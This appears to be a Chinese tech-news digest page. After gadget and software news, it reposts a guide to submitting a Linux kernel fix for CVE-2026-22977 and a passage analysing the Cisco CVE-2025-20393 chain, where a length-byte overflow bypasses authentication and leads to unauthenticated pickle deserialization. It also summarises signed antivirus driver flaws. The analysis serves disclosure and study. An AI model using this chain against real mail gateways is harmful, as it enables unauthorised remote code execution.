4 月 15 日，索尼发布 Inzone M10S II 游戏显示器及系列音频外设，Inzone M10S II 采用 24.5 英寸 LG 第四代 Tandem WOLED 面板，支持在 2K 辨率下开启 540Hz 刷新率，或通过降低分辨率至 720p 切换至 720Hz 极速模式，最快响应时间为 0.02ms，同时配备集成黑帧插入（BFI）技术的全新运动模糊抑制算法、超强防眩光能力以及 -5 至 35 度的宽幅调节支架。

Inzone H6 Air 开放式有线耳机基于 MDR-MV1 监听耳机开发，机身重 199 克，标配支持虚拟 7.1 环绕声与 360 度空间音频的 USB-C 适配器。同步推出的还有紫色（Glass Purple）款 Inzone 真无线耳塞及 Fnatic 联名外设。Inzone H6 Air 定价 200 美元，M10S II 显示器定价 1100 美元，预计于今年晚些时候上市。来源

三星发布 2026 款 Micro RGB 电视

4 月 14 日，三星发布 2026 款 Micro RGB 电视系列，包含 R95H 与 R85H 两大产品线，全系采用 4K Micro RGB 显示技术，搭载红、绿、蓝三色 LED 已实现最小化色彩溢出并提升色彩精准度，同时配备专属 AI 处理器负责色彩校准与运动补偿，支持三星联合开发的 HDR10+ Advanced 标准。其中高端型号 R95H 支持抗反射技术与 165Hz 刷新率，R85H 刷新率则为 144Hz，全系集成 Dolby Atmos 音效、Q-Symphony 技术（可配对 5 台音频设备）并内置 Art Store 艺术商店。

定价方面，R85H 系列起售价为 1600 美元，85 英寸款为 4000 美元；R95H 系列 65 英寸款起售价 3200 美元，85 英寸款 6500 美元，100 英寸版本预计于今年晚些时候推出。来源

Blackmagic 发布 DaVinci Resolve 21 更新，支持静态照片编辑

4 月 13 日，Blackmagic Design 发布 DaVinci Resolve 21 重大更新，集成专为静态照片设计的 Photo 页面，支持节点式调色工作流及达芬奇调色台硬件操作；新版本还深度集成 AI 技术，推出可智能搜索人脸与特定物体的 IntelliSearch、支持模拟散景与焦点重排的 CineFocus，以及包含面部重塑（Face Reshaper）、年龄变换（Face Age Transformer）、瑕疵修复（Blemish Removal）在内的一系列面部优化工具；功能升级涵盖支持四点贝塞尔曲线的 Keyframing 关键帧系统、新增 70 余种图形工具的 Krokodove 库、支持 OGraf HTML 与 Lottie 动画、以及 Fairlight 音频折叠轨道与基于音频驱动的 Animator 修改器；技术底层更新至 USD SDK 25.11，并为 Apple Immersive 提供注视点渲染支持，且兼容 Meta Quest 与 YouTube VR 格式。

DaVinci Resolve 21 公测版现已在官方网站开放免费下载。来源

Google Chrome 上线 Skills 功能

4 月 15 日，Google 宣布在桌面版 Chrome 浏览器中上线 Skills 功能。该功能允许用户将常用的 Gemini 提示词保存为快捷指令以实现跨会话复用，用户在登录状态下输入斜杠（/）或点击加号，即可直接运行自定义或来自官方 Skills 仓库的预设提示词，执行过程支持跨多标签页数据调用，在写入日历或发送信息等操作时依然会保留二次安全确认机制。该功能即日起免费向语言设定为美式英语、且已开启 Gemini 功能的 Chrome 用户推送。来源

Google 宣布整治返回键劫持行为

Google 宣布将从 6 月 15 日起将返回键劫持（Back Button Hijacking）正式定性为恶意行为并开展专项整治。返回键劫持通过篡改浏览器历史记录等方式，使用户点击返回键时无法返回至上一页面（通常是搜索结果页面），而是被迫跳转至其他内容推荐页、弹窗或特定的社交信息流，以此增加页面访问量。针对此类破坏用户预期、导致搜索体验不一致的行为，Google 明确表示将通过自动或人工的反滥用机制进行打击，违规站点将面临搜索排名大幅下调的处罚。受影响网站及使用包含此类逻辑的第三方广告库、插件的开发者需在 6 月 15 日限期前完成整改。来源

大量 WordPress 插件遭后门植入

4 月 14 日，WordPress 插件开发商 Essential Plugin 旗下数十款插件被发现植入后门并导致大规模下架，来源称，Essential Plugin 相关插件累计安装量超过 40 万次，受影响插件分布在超过 2 万个活跃 WordPress 安装实例中。这些插件源于去年的一场恶意收购，后门代码在插件所有权变更后植入，然后在已安装实例中潜伏数月，并于本月初激活。目前受影响插件已从 WordPress 官方目录永久下线，建议所有安装了 Essential Plugin 产品的用户立即手动检查并卸载相关组件。来源

金山毒霸、360 安全卫士被曝存在内核驱动高危漏洞

安全研究人员 Patrick Saif（@weezerOSINT）4 月 13 日发布推文称，金山毒霸与 360 安全卫士两款主流杀毒软件的内核驱动存在高危漏洞。其中，金山毒霸的 kdhacker64_ev.sys 驱动在处理用户输入后，分配的缓冲区大小仅为所需的一半，导致 1160 字节数据写入 584 字节空间，直接引发 512 字节的内核池溢出。因为该驱动拥有有效的 EV 签名，攻击者可利用此漏洞完全控制系统。

360 安全卫士的 DsArk64.sys 驱动则允许通过 IOCTL 接口传入 4 字节进程 ID，并在 Ring 0 层级调用 ZwTerminateProcess 强制终止任意进程，甚至能绕过 PPL（受保护进程）机制。更严重的是，其内核读写功能使用 AES-128-CBC 算法，让解密密钥硬编码在二进制文件的.data 段中，且所有版本使用同一密钥，且该驱动通过了 WHQL 签名认证。

目前两个漏洞已提交至 LOLDrivers 数据库，均未获 CVE 编号且不在 HVCI 屏蔽名单中。攻击者利用这些漏洞可从普通用户提权至 SYSTEM，绕过 KASLR 并窃取内核凭据，甚至修改内核回调表隐藏恶意行为。鉴于涉事驱动具备 EV 或 WHQL 签名，攻击者无需在目标机器安装软件即可加载恶意扩展。来源

不妨一看的简讯

Motorola Razr 70 Ultra 被曝将沿用上一代产品所搭载的 Snapdragon 8 Elite 芯片，仅电池容量从前代的 4700 mAh 提升至 5000 mAh。来源
Google 宣布在 Pixel 10 系列机型的调制解调器中集成基于 Rust 语言的 DNS 解析组件，该方案旨在应对 Exynos 调制解调器频发的远程代码执行（RCE）漏洞，通过在现有的 C/C++ 遗留固件中植入 371KB 的高性能、非垃圾回收（Non-GC）内存安全代码，替代易受攻击的旧有解析逻辑。来源
4 月 15 日，Google 正式推出适用于 Windows 10 及更高版本系统的 Gemini 桌面应用，支持通过 Alt + Space 快捷键快速唤起搜索框，集成可检索网页信息的 AI 模式，支持扫描本地文件、其他已安装应用及 Google Drive 云端硬盘数据的深度检索功能，并内置基于 Google Lens 的屏幕共享搜索技术。Google Windows 版 Gemini 应用即日起在全球范围内开启下载，首发版本仅支持英语。来源
芝加哥著名乐迷 Aadam Jacobs 将其自 20 世纪 80 年代起录制的超过一万盘珍稀现场演出磁带交由非营利数字图书馆 Internet Archive 进行数字化存档。该系列涵盖了 Nirvana 于 1989 年的演出录音，以及 Sonic Youth、R.E.M.、Phish、Liz Phair、Pavement、Neutral Milk Hotel 等极具影响力艺人与众多朋克乐队的未公开音频。数字化流程由 Brian Emerick 等志愿者负责，通过过时卡座录音机将模拟信号转为数字文件，并由专业音频工程师完成音质修复、曲目识别与标签分类工作；目前已有约 2500 盘磁带完成处理并上线 Internet Archive 开放免费试听。来源
多家海外媒体报道，真人电影《塞尔达传说》已杀青，将如期在 2027 年 5 月 7 日在院线上映。来源

少数派的近期动态

Quote/0 延伸之作「口袋先知」即将与大家见面！和少数派 MBTI 内容作者@Kostya 一起，聊聊这款 MBTI 定制的轻决策墨水屏 点击预约直播
少数派年度征文最终轮投票正在进行。手工匠人还是 AI 助力？选出你心目中更好的文章。前往投票
薄至 0.13mm 的麦金獭手机钢化膜上线啦！首发限时优惠中。赶紧抢一张
别让它吃灰：你为家里的「淘汰设备」找到了哪些新用途？来一派展开聊聊
少数派全新付费栏目上架：一份不再过时的 Raycast 使用指南｜一份写给家长的幼儿美术启蒙指南。

你可能错过的文章

> 下载少数派 2.0 客户端、关注少数派公众号，解锁全新阅读体验 📰

> 实用、好用的正版软件，少数派为你呈现 🚀

如何给 Linux 内核提交补丁：一次真实的踩坑记录

作者: 纯情
时间: 2026-04-15
分类:
评论

如何给 Linux 内核提交补丁：一次真实的踩坑记录

Swing

2026-02-01

KernelDev

cve-2026-22977, linux-kernel, security, skbuff, usercopy

最近给 Linux 内核提交了一个补丁，修复 skbuff_fclone_cache 的 usercopy 问题，过程中踩了不少坑。这篇文章记录一下整个流程，希望能帮到想给内核提补丁的朋友。

背景

事情是这样的，n132和我发现了一个内核 panic，在启用 CONFIG_HARDENED_USERCOPY 的时候会触发。

问题出在 skbuff_fclone_cache 这个 slab 缓存创建的时候没有定义 usercopy 区域，但是 skbuff_head_cache 是有的。这就导致内核在尝试把 sk_buff.cb 的数据拷贝到用户空间的时候会 BUG()。

崩溃的调用链大概是这样：

TCP 用 alloc_skb_fclone() 分配 skb
skb_clone() 克隆这个 skb
克隆的 skb 被放到 sk_error_queue
用户空间调用 recvmsg(MSG_ERRQUEUE) 读错误队列
sock_recv_errqueue() 调用 put_cmsg() 拷贝数据
然后__check_heap_object() 检查失败触发内核崩溃

崩溃日志长这样：

[    5.379589] usercopy: Kernel memory exposure attempt detected from SLUB object 'skbuff_fclone_cache' (offset 296, size 16)!
[    5.382796] kernel BUG at mm/usercopy.c:102!
[    5.383923] Oops: invalid opcode: 0000 [#1] SMP KASAN NOPTI
[    5.384903] CPU: 1 UID: 0 PID: 138 Comm: poc_put_cmsg Not tainted 6.12.57 #7
[    5.384903] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.3-0-ga6ed6b701f0a-prebuilt.qemu.org 04/01/2014
[    5.384903] RIP: 0010:usercopy_abort+0x6c/0x80
[    5.384903] Code: 1a 86 51 48 c7 c2 40 15 1a 86 41 52 48 c7 c7 c0 15 1a 86 48 0f 45 d6 48 c7 c6 80 15 1a 86 48 89 c1 49 0f 45 f3 e8 84 27 88 ff <0f> 0b 490
[    5.384903] RSP: 0018:ffffc900006f77a8 EFLAGS: 00010246
[    5.384903] RAX: 000000000000006f RBX: ffff88800f0ad2a8 RCX: 1ffffffff0f72e74
[    5.384903] RDX: 0000000000000000 RSI: 0000000000000004 RDI: ffffffff87b973a0
[    5.384903] RBP: 0000000000000010 R08: 0000000000000000 R09: fffffbfff0f72e74
[    5.384903] R10: 0000000000000003 R11: 79706f6372657375 R12: 0000000000000001
[    5.384903] R13: ffff88800f0ad2b8 R14: ffffea00003c2b40 R15: ffffea00003c2b00
[    5.384903] FS:  0000000011bc4380(0000) GS:ffff8880bf100000(0000) knlGS:0000000000000000
[    5.384903] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[    5.384903] CR2: 000056aa3b8e5fe4 CR3: 000000000ea26004 CR4: 0000000000770ef0
[    5.384903] PKRU: 55555554
[    5.384903] Call Trace:
[    5.384903]  <TASK>
[    5.384903]  __check_heap_object+0x9a/0xd0
[    5.384903]  __check_object_size+0x46c/0x690
[    5.384903]  put_cmsg+0x129/0x5e0
[    5.384903]  sock_recv_errqueue+0x22f/0x380
[    5.384903]  tls_sw_recvmsg+0x7ed/0x1960
[    5.384903]  ? srso_alias_return_thunk+0x5/0xfbef5
[    5.384903]  ? schedule+0x6d/0x270
[    5.384903]  ? srso_alias_return_thunk+0x5/0xfbef5
[    5.384903]  ? mutex_unlock+0x81/0xd0
[    5.384903]  ? __pfx_mutex_unlock+0x10/0x10
[    5.384903]  ? __pfx_tls_sw_recvmsg+0x10/0x10
[    5.384903]  ? _raw_spin_lock_irqsave+0x8f/0xf0
[    5.384903]  ? _raw_read_unlock_irqrestore+0x20/0x40
[    5.384903]  ? srso_alias_return_thunk+0x5/0xfbef5

这个 bug 后来被分配了 CVE-2026-22977。

分析一下崩溃

崩溃信息里说 offset 296, size 16，我们来算一下：

sizeof(struct sk_buff) = 232
offsetof(struct sk_buff, cb) = 40

sk_buff_fclones 里面：
- skb1 从 0 开始
- skb2 从 232 开始

所以 skb2.cb 的偏移 = 232 + 40 = 272
崩溃偏移 296 = 272 + 24，刚好在 sock_exterr_skb.ee 里面

这就确认了问题确实出在克隆 skb 的 cb 字段。

第一步：环境准备

克隆正确的仓库

这里点，我们不要直接克隆 Linus 的主仓库！要根据你的补丁类型选择对应的子系统仓库：

# 网络相关的 bug 修复，用这个：
git clone https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net.git
cd net

# 网络相关的新功能，用这个：
git clone https://git.kernel.org/pub/scm/linux/kernel/git/netdev/net-next.git

# 其他通用的：
git clone https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git

仓库	用途
`net.git`	当前版本的 bug 修复
`net-next.git`	下一版本的新功能
`linux.git`	通用开发

我这个是 net模块里的代码，所以应该用 net.git。

配置 Git 邮件

编辑 ~/.gitconfig：

[user]
name = Weiming Shi
email = bestswngs@gmail.com

[sendemail]
smtpserver = smtp.gmail.com
smtpserverport = 587
smtpencryption = tls
smtpuser = bestswngs@gmail.com

用 Gmail 的话需要去 Google 账户安全设置里生成一个应用专用密码。

为什么用 Mutt？

这里要特别说一下，千万不要用 Gmail 网页版发补丁！

Gmail 网页版会：

把纯文本转成 HTML
自动换行，直接把补丁搞坏
把 Tab 换成空格
各种编码问题

内核要求纯文本邮件，补丁要内联在邮件里（不是附件）。推荐的组合是：

git send-email 发补丁
mutt 看维护者回复

Mutt 配置 ~/.muttrc：

set realname = "Weiming Shi"
set from = "bestswngs@gmail.com"
set use_from = yes
set envelope_from = yes

set my_user = "bestswngs@gmail.com"
set my_pass = "xxxx xxxx xxxx xxxx"  # 应用专用密码

set imap_user = $my_user
set imap_pass = $my_pass
set folder = "imaps://imap.gmail.com:993"
set spoolfile = "+INBOX"

set smtp_url = "smtps://$my_user:$my_pass@smtp.gmail.com:465/"
set ssl_force_tls = yes

set postponed = "+[Gmail]/Drafts"
set record = "+[Gmail]/Sent Mail"

set header_cache = ~/.mutt/cache/headers
set message_cachedir = ~/.mutt/cache/bodies
set certificate_file = ~/.mutt/certificates

第二步：写修复代码

创建工作分支：

1	git checkout -b fix-skbuff-fclone-usercopy

修复其实很简单，把 kmem_cache_create() 换成 kmem_cache_create_usercopy()：

-	net_hotdata.skbuff_fclone_cache = kmem_cache_create("skbuff_fclone_cache",
+	net_hotdata.skbuff_fclone_cache = kmem_cache_create_usercopy("skbuff_fclone_cache",
sizeof(struct sk_buff_fclones),
0,
SLAB_HWCACHE_ALIGN|SLAB_PANIC,
+						offsetof(struct sk_buff, cb),
+						sizeof(struct sk_buff) + sizeof_field(struct sk_buff, cb),
NULL);

第三步：测试

编译：

1 2	make menuconfig # 启用 CONFIG_HARDENED_USERCOPY=y make -j$(nproc)

测试的话推荐用 virtme-ng，比手动搞 initramfs 方便太多了：

# 安装
sudo apt install qemu-system-x86 qemu-kvm
pip install virtme-ng

# 直接启动，不用 initramfs
vng --build --run

# 跑 PoC 验证
vng --build --run -- ./poc_put_cmsg

第四步：自测清单

发补丁之前一定要过一遍这个清单，我就是因为跳过了编译测试，结果收到了 kernel test robot 的构建失败邮件，很尴尬。

代码风格

1	./scripts/checkpatch.pl --strict 0001-your-patch.patch

常见问题：行太长、缩进用了空格（应该用 Tab）、行尾有空白。

多配置编译

1 2	make defconfig && make -j$(nproc) make allyesconfig && make -j$(nproc)

启动测试

1	vng --build --run

验证修复

1 2	./poc_put_cmsg dmesg \| grep -i "usercopy\\|BUG\\|panic"

打补丁前会 panic，打完应该没事了。

跑 selftests

1	make -C tools/testing/selftests/net run_tests

拼写检查

1	codespell your-patch.patch

第五步：写提交信息

这是我踩坑最多的地方。

一个合格的提交信息长这样：

net: skbuff: add usercopy region to skbuff_fclone_cache

skbuff_fclone_cache was created without defining a usercopy region,
unlike skbuff_head_cache which properly whitelists the cb[] field.
This causes a usercopy BUG() when CONFIG_HARDENED_USERCOPY is enabled...

[精简后的崩溃日志]

Fix by using kmem_cache_create_usercopy() with the same cb[] region
whitelist as skbuff_head_cache.

Fixes: 6d07d1cd300f ("usercopy: Restrict non-usercopy caches to size 0")
Reported-by: Xiang Mei <xmei5@asu.edu>
Signed-off-by: Weiming Shi <bestswngs@gmail.com>

几个要点

标题格式：子系统: 简短描述，不超过 72 字符
正文每行不超过 75 字符，这个很重要！可以用 vim 的 :set cc=75 画条线
Fixes 标签：指向引入 bug 的那个提交
Signed-off-by：你的名字和邮箱

调用栈怎么写

Eric Dumazet 给我的反馈：

“下次发调用栈之前，先跑一下 scripts/decode_stacktrace.sh 拿到有意义的符号。”

所以要先处理一下：

1	./scripts/decode_stacktrace.sh vmlinux < raw_stack_trace.txt

然后精简，不要把整个 dmesg 贴上去。删掉时间戳、寄存器 dump、模块列表，只保留错误信息和关键调用链：

usercopy: Kernel memory exposure attempt detected from SLUB object
'skbuff_fclone_cache' (offset 296, size 16)!
kernel BUG at mm/usercopy.c:102!
Call Trace:
__check_heap_object
__check_object_size
put_cmsg
sock_recv_errqueue

第六步：生成和发送补丁

生成补丁：

1	git format-patch -1 -v4 --subject-prefix="PATCH net"

-v4 表示第 4 版。

检查一下：

1	./scripts/checkpatch.pl *.patch

找维护者：

1	./scripts/get_maintainer.pl net/core/skbuff.c

发送：

git send-email \
--to="davem@davemloft.net" \
--to="edumazet@google.com" \
--to="kuba@kernel.org" \
--to="pabeni@redhat.com" \
--cc="netdev@vger.kernel.org" \
--cc="linux-kernel@vger.kernel.org" \
*.patch

一个坑：security@kernel.org

Eric Dumazet 还跟我说：

“如果你已经在公开邮件列表上发了，就不要再抄送 security@kernel.org 了，没用。”

规则：

私下披露 → 抄送 security@kernel.org
已经公开 → 不要抄送

第七步：处理反馈

发完补丁会收到各种反馈：

Kernel Test Robot：自动构建测试，会告诉你编译有没有问题
维护者：代码审查
其他开发者：评论

我的 v2 就收到了 robot 的构建失败报告，因为函数参数传错了。教训就是本地一定要先编译测试。

收到反馈后：

不要在邮件里直接回复修复代码，发新版本
用 -v3、-v4 标记版本
在 --- 下面加更新日志说明改了什么

第八步：申请 CVE

等补丁合并之后再说。

根据内核 CVE 文档，未修复的问题不会分配 CVE，要等补丁进了 stable 树才行。

大多数情况下 CVE 会自动分配，内核 CVE 团队（Greg KH、Sasha Levin、Lee Jones）会审查每个进 stable 的补丁。如果他们觉得是安全问题就会自动分配 CVE，公告在 linux-cve-announce。

如果漏了，可以发邮件到 cve@kernel.org。注意这个地址只用于已合并的修复，未修复的安全问题发 security@kernel.org。

我这个补丁合并后被分配了 CVE-2026-22977。

和维护者的邮件沟通

这里要特别说一下和 Eric Dumazet（Google 的 netdev 维护者）的沟通过程。

我最开始的方案（v4）是直接给 skbuff_fclone_cache 加 usercopy region：

// v4 方案：修改 net/core/skbuff.c
kmem_cache_create_usercopy("skbuff_fclone_cache", ...,
offsetof(struct sk_buff, cb),
sizeof_field(struct sk_buff, cb), ...);

但 Eric 在邮件里提了另一种思路：

“use a bounce buffer for copying skb->mark”

他的意思是，与其放宽 skbuff_fclone_cache 的安全限制，不如在 sock_recv_errqueue() 里用一个栈上的临时变量做中转：

// v5 方案：修改 net/core/sock.c
struct sock_extended_err ee;
ee = SKB_EXT_ERR(skb)->ee;  // 先拷贝到栈上
put_cmsg(msg, level, type, sizeof(ee), &ee);  // 再从栈上拷贝到用户空间

这样就不用动 slab cache 的配置，安全性更好。

所以我发了 v5 用 bounce buffer 的方案，最终合并的就是这个版本。这个过程让我学到了：维护者的反馈很有价值，他们比你更了解代码的设计意图。

我踩过的坑

v1：提交信息格式全错，标题写成了 Signed-off-by:，离谱
v2：漏了 From 头，.gitconfig 没配好
v2：忘了抄送邮件列表，一定要跑 get_maintainer.pl
v3：代码写错了，偏移量算错，本地没测就发了
v4：amend 了十几次，说明提交前应该检查更仔细
调用栈没解码，被 Eric 提醒了
**不该抄送 security@**，已经公开了还抄送没意义

时间线

日期	版本	改动
12月15日	v1	初次提交，格式全错
12月16日	v2	修了提交信息
12月16日	v3	加了 From 头，修了 CC/TO
12月16日	v4	修了代码
12月24日	v5	试了另一种方案

小结

回顾一下整个流程：

下载内核源码，注意选对仓库（bug 修复用 net.git，新功能用 net-next.git）
改代码，修 bug
编译，确保没 warning
用 vng 或 QEMU 启动测试，跑 PoC 确认修复了
跑对应模块的测试，不同子系统有不同的测试工具：
- 网络：make -C tools/testing/selftests/net run_tests
- BPF：make -C tools/testing/selftests/bpf run_tests
- 内存管理：make -C tools/testing/selftests/mm run_tests
- 文件系统：make -C tools/testing/selftests/filesystems run_tests
- 通用：make kselftest TARGETS=<子系统>
跑 ./scripts/checkpatch.pl --strict 检查代码风格
写提交信息，每行 75 字符，用 :set cc=75 画线对齐
调用栈要用 ./scripts/decode_stacktrace.sh 解码，然后精简
加上 Fixes:、Reported-by:、Signed-off-by: 这些标签
git format-patch 生成补丁
./scripts/get_maintainer.pl 找维护者
git send-email 发送，不要用 Gmail 网页版
如果已经公开了，不要抄送 security@kernel.org
收到反馈就发新版本（-v2、-v3），不要在邮件里直接回复代码
等合并后 CVE 会自动分配，或者发邮件给 cve@kernel.org

最后，Eric Dumazet 在邮件里说了一句，当时看到时候还蛮开心的（

“Congratulations on your first linux contribution!”

从分析 bug 到补丁被合并（commit f9ac7befe5f1），这个过程n132可谓是手把手教我了，这里得再次感谢一下他。

参考资料

1.提交补丁文档 ↩
2.邮件客户端配置 ↩
3.内核 CVE 流程 ↩
4.Elixir Bootlin - 带超链接的内核源码浏览↩
5.linux-cve-announce - CVE 公告↩
6.我的 v2 被 robot 打回的邮件 ↩
7.Eric Dumazet 建议 bounce buffer 方案的邮件 ↩
8.https://n132.github.io/2025/07/10/How-to-patch-a-linux-kernel-bug.html↩

Pickling the Mailbox: A Deep Dive into CVE-2025-20393

作者: 纯情
时间: 2026-04-15
分类:
评论

Pickling the Mailbox: A Deep Dive into CVE-2025-20393

Swing

2026-02-07

SecurityResearch

cve-2025-20393, security

TL;DR

CVE-2025-20393 是 Cisco Secure Email Gateway 和 Secure Email and Web Manager 中的一个严重漏洞（CVSS 10.0）。漏洞成因是 EUQ（End User Quarantine）服务的 RPC 协议在打包 destination 长度时使用了单字节 struct.pack('>B', ...)，而 Python 2.6 对超出范围的值会静默截断而非抛出异常。当攻击者发送 256 字节的 payload 时，长度字段溢出为 0，导致认证绕过，最终通过 cPickle.loads() 实现未授权 RCE。

0x00 漏洞背景

2025年12月17日，Cisco 发布安全公告 cisco-sa-sma-attack-N9bf4，修复了一个 CVSS 10.0 的严重漏洞：

字段	值
Advisory ID	cisco-sa-sma-attack-N9bf4
CVE	CVE-2025-20393
CVSS 3.1	10.0 (Critical)
CWE	CWE-20 (Improper Input Validation)
受影响产品	Cisco Secure Email Gateway (SEG), Secure Email and Web Manager (SMA)
Bug IDs	CSCws36549, CSCws52505
Workarounds	无

我们获取了 AsyncOS 15.5.3 固件，通过逆向工程和代码分析

0x01 补丁分析

当补丁版本发布后，我们提取并对比了两个版本的固件。EUQ（End User Quarantine）服务引起了我们的注意——它暴露在 83 端口且大量使用 Python。

对比 AsyncOS 15.5.3（漏洞版本）与补丁版本的 CommandMessage.py：

$ diff AsyncOS_15_5_3/site-packages/zeus/CommandMessage.py \
AsyncOS_patched/site-packages/zeus/CommandMessage.py

30a26,47
>     if destination is not None:
>         if len(destination) >= 255:
>             debug_str = 'DEBUG:send_message:Invalid destination len:%r ...'
>             coro.print_stderr(debug_str)
>             raise Commandment.MessageFormatError()
>     if source is not None:
>         if len(source) >= 255:
>             debug_str = 'DEBUG:send_message:Invalid source len:%r ...'
>             coro.print_stderr(debug_str)
>             raise Commandment.MessageFormatError()

补丁对 destination 和 source 增加了 >= 255 的长度限制。超过则抛出 MessageFormatError。

关键问题

猫哥在看到这个 diff 时敏锐的觉得这应该是一个有用的Patch：

“为什么是 255？如果发送 256 字节会怎样？”

0x02 Python 2.6 的 struct.pack 行为

查看反编译后的文件头：

1 2	# Python bytecode version base 2.6 (62161) # Compiled at: 2024-11-27 14:22:42

AsyncOS 使用 Python 2.6 运行时——一个 2008 年发布、2013 年已 EOL 的版本。这至关重要，因为 Python 2.6 与 Python 3 在处理 struct.pack 溢出时行为完全不同。

Python 3.x（严格模式）：

>>>import struct
>>>struct.pack('>B', 256)
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
struct.error: 'B' format requires 0 <= number <= 255

Python 3 在值超出范围时抛出异常。

Python 2.6（静默截断）：

>>>import struct
>>>struct.pack('>B', 256)
'\x00'
>>>struct.pack('>B', 289)
'!'
>>>ord('!')
33

Python 2.6 对超出范围的值执行模运算：

1
2
3

256 % 256 = 0   → '\x00'
289 % 256 = 33  → '!' (0x21)
512 % 256 = 0   → '\x00'

这就是整数溢出。在 Python 2.6 中，struct.pack('>B', 256) 不会失败——它返回 0x00。

为何重要

RPC 消息打包代码使用：

1	dst_len = struct.pack('>B', len(destination))

当 len(destination) = 256 时：

Python 3：抛出异常，攻击失败
Python 2.6：dst_len = '\x00'，攻击成功

Cisco 古老的 Python 2.6 运行时将一个潜在的崩溃转变为可利用的溢出。

0x03 EUQ RPC 协议分析

EUQ 服务架构

EUQ 允许邮件接收者通过 83 端口的 Web 界面管理隔离邮件：

┌─────────────┐      HTTPS/83      ┌─────────────┐      RPC       ┌─────────────┐
│   End User  │ ◄───────────────►  │  EUQ Web    │ ◄────────────► │  EUQ Backend│
│   Browser   │                    │  Frontend   │                │  (Python)   │
└─────────────┘                    └─────────────┘                └─────────────┘
│
▼
/Search endpoint
?auth=...&serial=...

消息头定义

Commandment.py 定义了 RPC 消息头格式：

1
2
3

# Commandment.py
HEADER = '>BBIIBB32s'
HEADER_LENGTH = struct.calcsize(HEADER)  # 44 bytes

格式解析：

格式	类型	大小	字段
`>`	Big-endian	-	字节序修饰符
`B`	unsigned char	1 byte	version
`B`	unsigned char	1 byte	ttl
`I`	unsigned int	4 bytes	message_length
`I`	unsigned int	4 bytes	message_type
`B`	unsigned char	1 byte	source_length
`B`	unsigned char	1 byte	destination_length
`32s`	char[32]	32 bytes	txn_tag

总 header 大小：1+1+4+4+1+1+32 = 44 字节

漏洞点在于 source_length 和 destination_length——均定义为单字节无符号字符（B），范围限制为 0-255。

消息构造：send_message()

def send_message(write_method, message_type, source, destination='',
message='', ttl=0, timeout=0, tag=None):
header = struct.pack(
Commandment.HEADER,
Commandment.MESSAGE_VERSION,
ttl,
len(message),
message_type,
len(source),         # ← 溢出点
len(destination),    # ← 溢出点
_message_tag(tag)
)
packet = header + source + destination + message
write_method(packet)

关键观察：当 len(destination) 超过 255 时，Python 2.6 的 struct.pack 使用格式 'B' 会静默截断该值。

消息解析：read_message()

# CommandMessage.py - read_message()
def read_message(read_method, timeout=0):
# 读取固定大小的 header（44 字节）
header = _read(read_method, Commandment.HEADER_LENGTH, timeout)

try:
# 解包 header 字段
(version, ttl, message_length, message_type,
source_length, destination_length, txn_tag) = struct.unpack(
Commandment.HEADER, header)
except struct.error:
raise Commandment.MessageFormatError()

# 验证协议版本
if version != Commandment.MESSAGE_VERSION:
raise Commandment.MessageVersionError(version, Commandment.MESSAGE_VERSION)

# 根据 source_length 读取 source 字段
source = _read(read_method, source_length, timeout)

# 根据 destination_length 读取 destination 字段
if destination_length:                                    # ← [A] 检查
destination = _read(read_method, destination_length, timeout)
else:
destination = ''  # ← [B] 当 destination_length=0 时，设为空字符串！

# 读取消息载荷
message = _read(read_method, message_length, timeout)

return (txn_tag.rstrip('\x00'), ttl, message_type, source, destination, message)

关键漏洞路径 [A] 和 [B]：

当 destination_length = 0（由于溢出），代码进入 else 分支
destination 被设为空字符串 ''
空 destination 不会触发认证验证
攻击者控制的 message 载荷直接进入 cPickle.loads()

完整消息结构

+--------------------------- HEADER (44 bytes) ---------------------------+
|                                                                          |
|  +---------+---------+--------------+--------------+----------+---------+--------+
|  | version |   ttl   | message_len  | message_type |source_len| dest_len|txn_tag |
|  |  (1B)   |  (1B)   |    (4B)      |    (4B)      |   (1B)   |  (1B)   | (32B)  |
|  |   'B'   |   'B'   |    'I'       |    'I'       |   'B'    |  'B'    | '32s'  |
|  +---------+---------+--------------+--------------+----------+---------+--------+
|                                                                          |
+--------------------------------------------------------------------------+
|
v
+--------------------------- BODY (variable) -----------------------------+
|                                                                          |
|  +--------------------+---------------------+----------------------------+
|  |      source        |    destination      |          message           |
|  | (source_len bytes) |  (dest_len bytes)   |    (message_len bytes)     |
|  |                    |                     |    -> cPickle.loads()      |
|  +--------------------+---------------------+----------------------------+
|                                                                          |
+--------------------------------------------------------------------------+

0x04 漏洞分析

溢出链

追踪发送 256 字节 destination 时的执行流程：

步骤 1：消息打包（发送端）

# 在 send_message() 中 - 漏洞版本
destination = attacker_controlled_256_bytes
header = struct.pack('>BBIIBB32s',
...,
len(destination),  # 256 → Python 2.6 截断为 0x00
...
)

步骤 2：消息解析（接收端）

# 在 read_message() 中
(version, ttl, message_length, message_type,
source_length, destination_length, txn_tag) = struct.unpack('>BBIIBB32s', header)

# destination_length = 0（来自溢出）

if destination_length:    # False!
destination = _read(read_method, destination_length, timeout)
else:
destination = ''      # 空字符串，认证被绕过！

message = _read(read_method, message_length, timeout)
return (..., destination, message)  # 攻击者的 pickle 进入处理程序

步骤 3：通过 Pickle 实现 RCE

1 2	# 在 RPC 处理程序中 result = cPickle.loads(message) # 攻击者控制的反序列化 → RCE

代码流程图

攻击者发送 256 字节的 serial 参数
│
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  send_message()  @ CommandMessage.py                                        │
│                                                                             │
│    destination = attacker_payload (256 bytes)                               │
│                       │                                                     │
│                       ▼                                                     │
│    struct.pack('>BBIIBB32s', ..., len(destination), ...)                    │
│    struct.pack(..., 256, ...)                                               │
│                       │                                                     │
│                       ▼                                                     │
│    Python 2.6: 256 % 256 = 0 → '\x00'  ← 整数溢出                            │
│                                                                             │
└─────────────────────────────────────────────────────────────────────────────┘
│
│ 网络传输
▼
┌─────────────────────────────────────────────────────────────────────────────┐
│  read_message()  @ CommandMessage.py                                        │
│                                                                             │
│    header = _read(read_method, 44, timeout)                                 │
│    (..., dest_len, ...) = struct.unpack('>BBIIBB32s', header)               │
│                       │                                                     │
│                       ▼                                                     │
│    dest_len = 0  ← 来自溢出                                                  │
│                       │                                                     │
│                       ▼                                                     │
│    if dest_len:       # False!                                              │
│        destination = _read(read_method, dest_len, timeout)                  │
│    else:                                                                    │
│        destination = ''  ← 空字符串，认证被绕过                               │
│                       │                                                     │
